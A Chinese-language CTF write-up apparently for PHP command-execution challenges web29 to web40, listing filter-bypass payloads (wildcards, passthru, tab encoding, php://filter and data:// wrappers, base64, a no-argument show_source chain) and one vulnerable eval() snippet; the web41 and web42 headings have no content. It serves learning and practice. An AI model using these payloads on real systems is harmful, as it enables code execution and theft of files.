命令执行入门CTF

学习学习

Posted by lll-yz on April 20, 2021

web29

过滤了flag,可以使用通配符绕过:

?c=system("cat f*");

web30

过滤了system|flag,用一个代替``system`的函数即可:

?c=passthru("cat f*");

web31

过滤了system|cat|flag|空格,用其它命令代替cat和其他编码绕过空格即可:

?c=passthru("tac%09f*");

web32

在前面的基础上,过滤了括号,但没过滤双引号:

小知识点:include不用括号,分号可以用?>代替。

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33~36

过滤了引号等:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

这里用了PHP文件包含函数include(),可以利用伪协议读flag。

data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作PHP文件执行。

?c=data://text/plain,<?php system("cat f*");

web38

在web37的基础上,过滤了PHP,利用base64进行绕过:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=

web39

在38的基础上,采用了拼接,在包含的字符串后加上了.php后缀:

?c=data://text/plain,<?php system('cat f*');?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

这里过滤了引号、美元符号、冒号,连为协议也不行了,构造无参数函数进行文件读取。

这里要学习一下无参数RCE(remote command/code execute)–>hrer

array_reverse():以相反的元素顺序返回数组。

show_source()是highlight_file()的别名。

构造payload:

?C=show_source(next(array_reverse(scandir(current(localeconv())))));

web41

web42